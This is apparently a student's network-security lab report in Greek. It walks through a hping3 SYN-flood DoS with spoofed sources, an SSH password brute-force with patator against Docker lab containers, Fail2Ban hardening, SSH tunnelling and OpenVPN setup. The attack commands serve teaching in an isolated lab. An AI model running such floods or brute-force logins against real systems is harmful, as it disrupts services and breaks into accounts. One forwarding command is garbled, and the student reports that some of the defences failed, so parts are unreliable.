You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
385 lines
16 KiB
385 lines
16 KiB
4 years ago
|
<!DOCTYPE html>
|
||
|
<html lang="en">
|
||
|
<head>
|
||
|
<meta charset="UTF-8">
|
||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||
|
<meta name="generator" content="Asciidoctor 2.0.10">
|
||
|
<meta name="author" content="Πετρίδου Αναστασία">
|
||
|
<title>Εργασία Εξαμήνου - Ασφαλεία Δικτύων και επικοινωνίων</title>
|
||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/asciidoctor.js/1.5.9/css/asciidoctor.min.css">
|
||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.14.0/css/all.min.css">
|
||
|
</head>
|
||
|
<body class="article">
|
||
|
<div id="header">
|
||
|
<h1>Εργασία Εξαμήνου - Ασφαλεία Δικτύων και επικοινωνίων</h1>
|
||
|
<div class="details">
|
||
|
<span id="author" class="author">Πετρίδου Αναστασία</span><br>
|
||
|
<span id="revdate">Α.Μ. (47431)</span>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div id="content">
|
||
|
<div class="sect1">
|
||
|
<h2 id="_υλοποίηση_συστήματος_για_την_προσομοίωση_dosddos_attack">1. Υλοποίηση συστήματος για την προσομοίωση Dos/DDos Attack</h2>
|
||
|
<div class="sectionbody">
|
||
|
<div class="sect2">
|
||
|
<h3 id="_docker">1.1. Docker</h3>
|
||
|
<div class="paragraph">
|
||
|
<p>To Docker είναι μια πλατφόρμα λογισμικού ανοιχτού κώδικα που υλοποιεί Εικονικοποίηση (Virtualization) σε επίπεδο Λειτουργικού Συστήματος. Tο Docker προσφέρει αυτοματοποιημένες διαδικασίες για την ανάπτυξη εφαρμογών σε απομονωμένες Περιοχές Χρήστη (User Spaces) που ονομάζονται Software Containers.Το λογισμικό χρησιμοποιεί τεχνολογιές του πυρήνα του Linux όπως τα cgroups και οι χώροι ονομάτων πυρήνα (kernel namespaces), για να επιτρέπει σε ανεξάρτητα software containers να εκτελούνται στο ίδιο λειτουργικό σύστημα.<br>
|
||
|
Περισσότερες πληροφορίες για το docker υπάρχουν στην ιστοσελίδα : <a href="https://en.wikipedia.org/wiki/Docker_(software" class="bare">https://en.wikipedia.org/wiki/Docker_(software</a>)<br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Σύμφωνα με τις οδηγίες κατεβάζουμε από την ιστοσελίδα του εργαστηρίου <a href="http://docs.swarmlab.io/SwarmLab-HowTos/labs/Howtos/docker/install.adoc.html" class="bare">http://docs.swarmlab.io/SwarmLab-HowTos/labs/Howtos/docker/install.adoc.html</a> και εγκαθιστούμε στον υπολογιστή μας το Docker.</p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Αρχικά δημιουργούμε σμήνος (swarm) από το Docker με τις ακόλουθες εντολές:</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>../install/usr/share/swarmlab.io/sec/swarmlab-sec create</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Δημιουργία 4 cluster</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=4</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Σύνδεση ως master</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>../install/usr/share/swarmlab.io/sec/swarmlab-sec login</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Εύρεση του δικτύου του swarm</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>ifconfig</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/config_swarm.png" alt="config swarm"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Ευρέση των ενεργών host</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>nmap -sP 172.19.0.*</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/nmap.png" alt="nmap"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Συνδεση στον worker_1</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>ssh docker@172.19.0.3</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/connect_worker.png" alt="connect worker"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Στην συνέχεια προχωράμε στην επίθεση και εκτελούμε την παρακάτω εντολή αφού πρώτα εγκαταστήσουμε το hping3 με τις παρακάτω εντολές</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>sudo apt update
|
||
|
sudo apt install hping3</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>sudo hping3 -c 12000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.19.0.3
|
||
|
όπου
|
||
|
-c: o αριθμός των πακέτων που θα είναι 12000 +
|
||
|
-d: το μέγεθος των πακέτων που θα είναι 120 bytes +
|
||
|
-S: τα πακέτα SYN +
|
||
|
-w: winsize (default 64) +
|
||
|
-p: στόχος η πόρτα 80 +
|
||
|
--flood: θα στέλνει γρήγορα πακέτα χωρίς να ενημερώνει πίσω +
|
||
|
--rand-source: θα στέλνονται πακέτα με διαφορετικές source IP για να κρύψουμε την πραγματική +
|
||
|
- destination IP 172.19.0.3 +</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>image:image/hping3-attack.png[] +</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Για να δούμε την επίθεση που λαμβάνει ο worker_1 χρησιμοποιούμε την παρακάτω εντολή</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>sudo tcpdump -n -l</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="literalblock">
|
||
|
<div class="content">
|
||
|
<pre>image: image/dos_attack.png[] +</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Στην συνέχεια θα έπρεπε να δημιουργήσουμε iptables rules για την αντιμετώπιση των επιθέσεων αλλά δεν καταφερα να δημιουργήσω.</p>
|
||
|
</div>
|
||
|
</div>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="sect1">
|
||
|
<h2 id="_ssh_brute_force_attacks">2. SSH Brute Force Attacks</h2>
|
||
|
<div class="sectionbody">
|
||
|
<div class="paragraph">
|
||
|
<p>Για την υλοποίηση αυτής της επίθεσης θα χρειαστούμε το πρόγραμμα patator οπότε τρέχουμε την παρακάτω εντολή:</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>sudo apt update
|
||
|
sudo apt install patator</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Δημιουργούμε ένα αρχείο password.txt που περίεχει κωδικούς ώστε να γίνει η επίθεση.</p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Πραγματοποιούμε την επίθεση με την παρακάτω εντολή</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>patator ssh_login host=172.19.0.3 user=docker password=FILE0 0=password.txt -x ignore:mesg='Authentication failed.'</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/ssh_patator.png" alt="ssh patator"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Καταλαβαίνουμε οτι η επίθεση ήταν επιτυχής.<br>
|
||
|
Στην συνέχεια κατεβάζουμε το Fail2Ban που προστατεύει τα συστήματα από ssh brute force attacks με τις εξής εντολές</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>sudo apt-get update
|
||
|
sudo apt-get install fail2ban</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Προχώραμε στην αντιγραφή τον δεδομένων από το jail.conf στο jail.local φάκελο με την εντολή</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Αλλάζουμε τα δεδομένα στον φάκελο jail.local και προσθέτουμε τα παρακάτω στοιχεία</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>[sshd] +
|
||
|
enable = true +
|
||
|
port = ssh +
|
||
|
filter = sshd +
|
||
|
logpath = /var/log/auth.log
|
||
|
maxretry = 3 +
|
||
|
bantime = 3600 +
|
||
|
|
||
|
οπού :
|
||
|
- port : η πόρτα της υπηρεσίας ssh
|
||
|
- logpath : το αρχείο καταγραφής
|
||
|
- maxretry : ο μέγιστος αριθμός προσπαθείων
|
||
|
- bantime : ο χρόνος απαγόρευσης εισόδου</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Στη συνέχεια δοκιμάζουμε πάλι να ξανακάνουμε την επίθεση και θα παρατηρούσαμε οτί δεν θα μας αφήνε να συνεχίσουμε, δεν θα είχαμε προσβάση και θα έκανε ban τον χρήστη κάτι το οποίο δεν λείτουργησε στην δικία μου περίπτωση.<br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Ακόμα δεν κατάφερα να τροποποιήσω το ssh-server έτσι ώστε να επιτρέπει μόνο συνδέσεις μέσω key.</p>
|
||
|
</div>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="sect1">
|
||
|
<h2 id="_localremote_ssh_forwarding">3. Local/Remote SSH Forwarding</h2>
|
||
|
<div class="sectionbody">
|
||
|
<div class="paragraph">
|
||
|
<p>Σε αυτό το ερώτημα έχω χρησιμοποιήσει άλλες IP οπώς φαίνεται στην παρακάτω εικόνα</p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/IPnew.png" alt="IPnew"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Εγκαθιστούμε τον apache στο μηχάνημα μας</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>sudo apt install apache2</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Τρέχουμε τον server</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>apacherctl start</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Παρατηρούμε οτι η υπηρέσια μας τρέχει με την εντολή</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>sudo netstat -antlupe</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Στην συνέχεια εκτελούμε την εντολή</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>ssh -nNT -L 8000:localhost:80 docker@172.21.0.3</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/local_ssh_port.png" alt="local ssh port"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Με αυτήν την εντολή στην ουσία φτιάχνουμε ενα ssh tunel μεταξύ των δυο μηχανημάτων όπου προωθούμε τα δεδομένα μας μέσω της πόρτας 8000 στην πόρτα 80.</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>curl localhost:8000</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Έτσι βλέπουμε την ιστοσελίδα του apache</p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/local_ssh_port_1.png" alt="local ssh port 1"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Στην συνέχεια για να κάνουμε το remote port forwarding εκτελούμε την εντολή</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>ssh -nNT -L 8002ocalhost:80 docker@172.21.0.3</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Με αυτήν την εντολή στην ουσία φτιάχνουμε ενα ssh tunel μεταξύ των δυο μηχανημάτων και συνδεόμαστε για να δούμε το αποτέλεσμα με την εντολή</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>curl localhost:8002</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/local_remote_ssh_port.png" alt="local remote ssh port"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Ετσί βλέπουμε την ιστοσελίδα του apache</p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/local_ssh_port_1.png" alt="local ssh port 1"></span><br></p>
|
||
|
</div>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="sect1">
|
||
|
<h2 id="_vpn">4. VPN</h2>
|
||
|
<div class="sectionbody">
|
||
|
<div class="paragraph">
|
||
|
<p>Αρχικά δημιουργούμε εναν φακέλο vpn μέσα στο swarmlab-sec όπου εκεί δημιουργούμε ένα αρχείο create-vpn.sh</p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/create-vpn.sh.png" alt="create vpn.sh"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Στην συνέχεια αφού αλλάζουμε τα δικαιώματα (chmod 700) στο αρχείο τρέχουμε με την εντολή</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>./create-vpn.sh</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/vpn-login.png" alt="vpn login"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Μέτα ακολουθεί η δημιουργία user οπού σε ένα αρχείο create-user.sh βάζουμε τα παρακάτω δεδομένα</p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/create-user.sh.png" alt="create user.sh"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Στην συνέχεια αφού αλλάζουμε τα δικαιώματα (chmod 700) στο αρχείο τρέχουμε με την εντολή</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>./create-user.sh</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/user-login.png" alt="user login"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Αφού εκτελέσουμε το script αντικαθιστούμε στο αρχείο test1.vpn που βρίσκεται μέσα στο φάκελο /swarmlab-sec/vpn</p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/test.vpn.png" alt="test.vpn"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Αντιγράφουμε το test1.vpn στο φάκελο project που υπάρχει στο swarmlab-sec.
|
||
|
Στο αρχείο test1.vpn βαζούμε την δικία μας IP που χρησιμοποιούμε.</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>cp test1.ovpn ../myproj/project/test1.vpn</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Εγκαθιστούμε και στο docker και στο swarm το openvpn</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>sudo apt update
|
||
|
sudo apt install openvpn</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Αφού συνδεόμαστε μέσα σε έναν worker εκτελούμε την εντολή</p>
|
||
|
</div>
|
||
|
<div class="listingblock">
|
||
|
<div class="content">
|
||
|
<pre>sudo openvpn --config ./test1.ovpn</pre>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/success-vpn.png" alt="success vpn"></span><br></p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p>Εκτελούμαι την εντολή ifconfig για να δούμε οτί όντως δημιουργήσαμε το vpn</p>
|
||
|
</div>
|
||
|
<div class="paragraph">
|
||
|
<p><span class="image"><img src="image/vpn_connect1.png" alt="vpn connect1"></span><br></p>
|
||
|
</div>
|
||
|
</div>
|
||
|
</div>
|
||
|
</div>
|
||
|
<div id="footer">
|
||
|
<div id="footer-text">
|
||
|
Last updated 2021-01-24 14:34:19 +0200
|
||
|
</div>
|
||
|
</div>
|
||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.6/styles/github.min.css">
|
||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.6/highlight.min.js"></script>
|
||
|
<script>hljs.initHighlighting()</script>
|
||
|
</body>
|
||
|
</html>
|